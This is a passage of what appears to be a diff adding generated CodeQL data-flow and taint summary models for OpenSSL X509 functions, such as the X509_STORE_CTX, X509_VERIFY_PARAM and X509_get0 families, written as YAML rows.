"dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_verified_chain", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0].Field[**chain]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_verified_chain", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*chain]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_cert", "(X509_STORE_CTX *,X509 *)", "", "Argument[*1]", "Argument[*0].Field[**cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_cert", "(X509_STORE_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_current_cert", "(X509_STORE_CTX *,X509 *)", "", "Argument[*1]", "Argument[*0].Field[**current_cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_current_cert", "(X509_STORE_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*current_cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_current_reasons", "(X509_STORE_CTX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*current_reasons]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_depth", "(X509_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*depth]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_error", "(X509_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*error]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_error_depth", "(X509_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*error_depth]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_flags", "(X509_STORE_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_get_crl", "(X509_STORE_CTX *,X509_STORE_CTX_get_crl_fn)", "", "Argument[1]", "Argument[*0].Field[*get_crl]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_purpose", "(X509_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_time", "(X509_STORE_CTX *,unsigned long,time_t)", "", "Argument[2]", "Argument[*0].Field[**param].Field[*check_time]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_trust", "(X509_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_verify", "(X509_STORE_CTX *,X509_STORE_CTX_verify_fn)", "", "Argument[1]", "Argument[*0].Field[*verify]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_verify_cb", "(X509_STORE_CTX *,X509_STORE_CTX_verify_cb)", "", "Argument[1]", "Argument[*0].Field[*verify_cb]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_add_lookup", "(X509_STORE *,X509_LOOKUP_METHOD *)", "", "Argument[*1]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_add_lookup", "(X509_STORE *,X509_LOOKUP_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*store_ctx]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_add_lookup", "(X509_STORE *,X509_LOOKUP_METHOD *)", "", "Argument[1]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get0_objects", "(const X509_STORE *)", "", "Argument[*0].Field[**objs]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get0_objects", "(const X509_STORE *)", "", "Argument[*0].Field[*objs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get0_param", "(const X509_STORE *)", "", "Argument[*0].Field[**param]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get0_param", "(const X509_STORE *)", "", "Argument[*0].Field[*param]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get1_objects", "(X509_STORE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_STORE_get_cert_crl", "(const X509_STORE *)", "", "Argument[*0].Field[*cert_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_check_crl", "(const X509_STORE *)", "", "Argument[*0].Field[*check_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_check_issued", "(const X509_STORE *)", "", "Argument[*0].Field[*check_issued]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_check_policy", "(const X509_STORE *)", "", "Argument[*0].Field[*check_policy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_check_revocation", "(const X509_STORE *)", "", "Argument[*0].Field[*check_revocation]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_cleanup", "(const X509_STORE *)", "", "Argument[*0].Field[*cleanup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_ex_data", "(const X509_STORE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_get_get_crl", "(const X509_STORE *)", "", "Argument[*0].Field[*get_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_get_issuer", "(const X509_STORE *)", "", "Argument[*0].Field[*get_issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_lookup_certs", "(const X509_STORE *)", "", "Argument[*0].Field[*lookup_certs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_lookup_crls", "(const X509_STORE *)", "", "Argument[*0].Field[*lookup_crls]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_verify", "(const X509_STORE *)", "", "Argument[*0].Field[*verify]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_verify_cb", "(const X509_STORE *)", "", "Argument[*0].Field[*verify_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set1_param", "(X509_STORE *,const X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_STORE_set_cert_crl", "(X509_STORE *,X509_STORE_CTX_cert_crl_fn)", "", "Argument[1]", "Argument[*0].Field[*cert_crl]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_check_crl", "(X509_STORE *,X509_STORE_CTX_check_crl_fn)", "", "Argument[1]", "Argument[*0].Field[*check_crl]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_check_issued", "(X509_STORE *,X509_STORE_CTX_check_issued_fn)", "", "Argument[1]", "Argument[*0].Field[*check_issued]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_check_policy", "(X509_STORE *,X509_STORE_CTX_check_policy_fn)", "", "Argument[1]", "Argument[*0].Field[*check_policy]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_check_revocation", "(X509_STORE *,X509_STORE_CTX_check_revocation_fn)", "", "Argument[1]", "Argument[*0].Field[*check_revocation]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_cleanup", "(X509_STORE *,X509_STORE_CTX_cleanup_fn)", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_depth", "(X509_STORE *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*depth]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_flags", "(X509_STORE *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_set_get_crl", "(X509_STORE *,X509_STORE_CTX_get_crl_fn)", "", "Argument[1]", "Argument[*0].Field[*get_crl]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_get_issuer", "(X509_STORE *,X509_STORE_CTX_get_issuer_fn)", "", "Argument[1]", "Argument[*0].Field[*get_issuer]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_lookup_certs", "(X509_STORE *,X509_STORE_CTX_lookup_certs_fn)", "", "Argument[1]", "Argument[*0].Field[*lookup_certs]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_lookup_crls", "(X509_STORE *,X509_STORE_CTX_lookup_crls_fn)", "", "Argument[1]", "Argument[*0].Field[*lookup_crls]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_purpose", "(X509_STORE *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_trust", "(X509_STORE *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_verify", "(X509_STORE *,X509_STORE_CTX_verify_fn)", "", "Argument[1]", "Argument[*0].Field[*verify]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_verify_cb", "(X509_STORE *,X509_STORE_CTX_verify_cb)", "", "Argument[1]", "Argument[*0].Field[*verify_cb]", "value", "dfc-generated"] + - ["", "", True, "X509_TRUST_get0", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_TRUST_get0", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_TRUST_get0_name", "(const X509_TRUST *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_TRUST_get0_name", "(const X509_TRUST *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_TRUST_get_by_id", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_TRUST_get_flags", "(const X509_TRUST *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_TRUST_get_trust", "(const X509_TRUST *)", "", "Argument[*0].Field[*trust]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_TRUST_set", "(int *,int)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "X509_VAL_free", "(X509_VAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_VAL_free", "(X509_VAL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add0_policy", "(X509_VERIFY_PARAM *,ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[**policies].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add0_policy", "(X509_VERIFY_PARAM *,ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[**policies].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add0_policy", "(X509_VERIFY_PARAM *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add0_policy", "(X509_VERIFY_PARAM *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**hosts].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**hosts].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**hosts].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**hosts].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_clear_flags", "(X509_VERIFY_PARAM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_email", "(X509_VERIFY_PARAM *)", "", "Argument[*0].Field[**email]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_email", "(X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*email]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_host", "(X509_VERIFY_PARAM *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_name", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_name", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_peername", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[**peername]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_peername", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*peername]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_auth_level", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*auth_level]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_depth", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*depth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_flags", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_hostflags", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*hostflags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_inh_flags", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*inh_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_purpose", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*purpose]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_time", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*check_time]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_inherit", "(X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_VERIFY_PARAM_move_peername", "(X509_VERIFY_PARAM *,X509_VERIFY_PARAM *)", "", "Argument[*1].Field[**peername]", "Argument[*0].Field[**peername]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_move_peername", "(X509_VERIFY_PARAM *,X509_VERIFY_PARAM *)", "", "Argument[*1].Field[*peername]", "Argument[*0].Field[*peername]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1", "(X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_email", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**email]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_email", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**email]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_email", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*emaillen]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**hosts].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**hosts].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**hosts].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**hosts].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_ip", "(X509_VERIFY_PARAM *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**ip]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_ip", "(X509_VERIFY_PARAM *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_ip", "(X509_VERIFY_PARAM *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iplen]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_ip_asc", "(X509_VERIFY_PARAM *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_ip_asc", "(X509_VERIFY_PARAM *,const char *)", "", "Argument[1]", "Argument[*0].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_name", "(X509_VERIFY_PARAM *,const char *)", "", "Argument[*0].Field[*name]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_name", "(X509_VERIFY_PARAM *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_name", "(X509_VERIFY_PARAM *,const char *)", "", "Argument[1]", "Argument[*0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_policies", "(X509_VERIFY_PARAM *,stack_st_ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_auth_level", "(X509_VERIFY_PARAM *,int)", "", "Argument[1]", "Argument[*0].Field[*auth_level]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_depth", "(X509_VERIFY_PARAM *,int)", "", "Argument[1]", "Argument[*0].Field[*depth]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_flags", "(X509_VERIFY_PARAM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_hostflags", "(X509_VERIFY_PARAM *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*hostflags]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_inh_flags", "(X509_VERIFY_PARAM *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*inh_flags]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_purpose", "(X509_VERIFY_PARAM *,int)", "", "Argument[1]", "Argument[*0].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_time", "(X509_VERIFY_PARAM *,time_t)", "", "Argument[1]", "Argument[*0].Field[*check_time]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_trust", "(X509_VERIFY_PARAM *,int)", "", "Argument[1]", "Argument[*0].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "X509_add1_ext_i2d", "(X509 *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509_add_cert", "(stack_st_X509 *,X509 *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_add_cert", "(stack_st_X509 *,X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_add_cert", "(stack_st_X509 *,X509 *,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_add_cert", "(stack_st_X509 *,X509 *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "X509_add_certs", "(stack_st_X509 *,stack_st_X509 *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_add_ext", "(X509 *,X509_EXTENSION *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_add_ext", "(X509 *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_build_chain", "(X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_build_chain", "(X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_build_chain", "(X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_build_chain", "(X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_chain_check_suiteb", "(int *,X509 *,stack_st_X509 *,unsigned long)", "", "Argument[*2].Field[***data]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "X509_chain_check_suiteb", "(int *,X509 *,stack_st_X509 *,unsigned long)", "", "Argument[*2].Field[**data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_chain_up_ref", "(stack_st_X509 *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_chain_up_ref", "(stack_st_X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_chain_up_ref", "(stack_st_X509 *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_check_ca", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_check_ca", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_check_host", "(X509 *,const char *,size_t,unsigned int,char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "X509_check_issued", "(X509 *,X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_check_issued", "(X509 *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_check_purpose", "(X509 *,int,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_check_trust", "(X509 *,int,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_cmp", "(const X509 *,const X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_cmp", "(const X509 *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_cmp_time", "(const ASN1_TIME *,time_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_delete_ext", "(X509 *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_delete_ext", "(X509 *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_digest", "(const X509 *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_digest", "(const X509 *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_digest_sig", "(const X509 *,EVP_MD **,int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_digest_sig", "(const X509 *,EVP_MD **,int *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_dup", "(const X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_dup", "(const X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_dup", "(const X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_dup", "(const X509 *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_dup", "(const X509 *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_find_by_issuer_and_serial", "(stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509_find_by_subject", "(stack_st_X509 *,const X509_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_find_by_subject", "(stack_st_X509 *,const X509_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_find_by_subject", "(stack_st_X509 *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_free", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_free", "(X509 *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_get0_authority_issuer", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get0_authority_issuer", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get0_authority_issuer", "(X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_get0_authority_key_id", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get0_authority_key_id", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get0_authority_key_id", "(X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_get0_authority_serial", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get0_authority_serial", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get0_authority_serial", "(X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_get0_distinguishing_id", "(X509 *)", "", "Argument[*0].Field[**distinguishing_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_distinguishing_id", "(X509 *)", "", "Argument[*0].Field[*distinguishing_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get0_extensions", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_extensions", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get0_reject_objects", "(X509 *)", "", "Argument[*0].Field[**aux].Field[**reject]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_reject_objects", "(X509 *)", "", "Argument[*0].Field[**aux].Field[*reject]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_get0_serialNumber", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_signature", "(const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *)", "", "Argument[*2].Field[*sig_alg]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_signature", "(const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *)", "", "Argument[*2].Field[*signature]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_subject_key_id", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_get0_subject_key_id", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_get0_subject_key_id", "(X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_get0_tbs_sigalg", "(const X509 *)", "", "Argument[*0].Field[*cert_info].Field[*signature]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_trust_objects", "(X509 *)", "", "Argument[*0].Field[**aux].Field[**trust]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_get0_trust_objects", "(X509 *)", 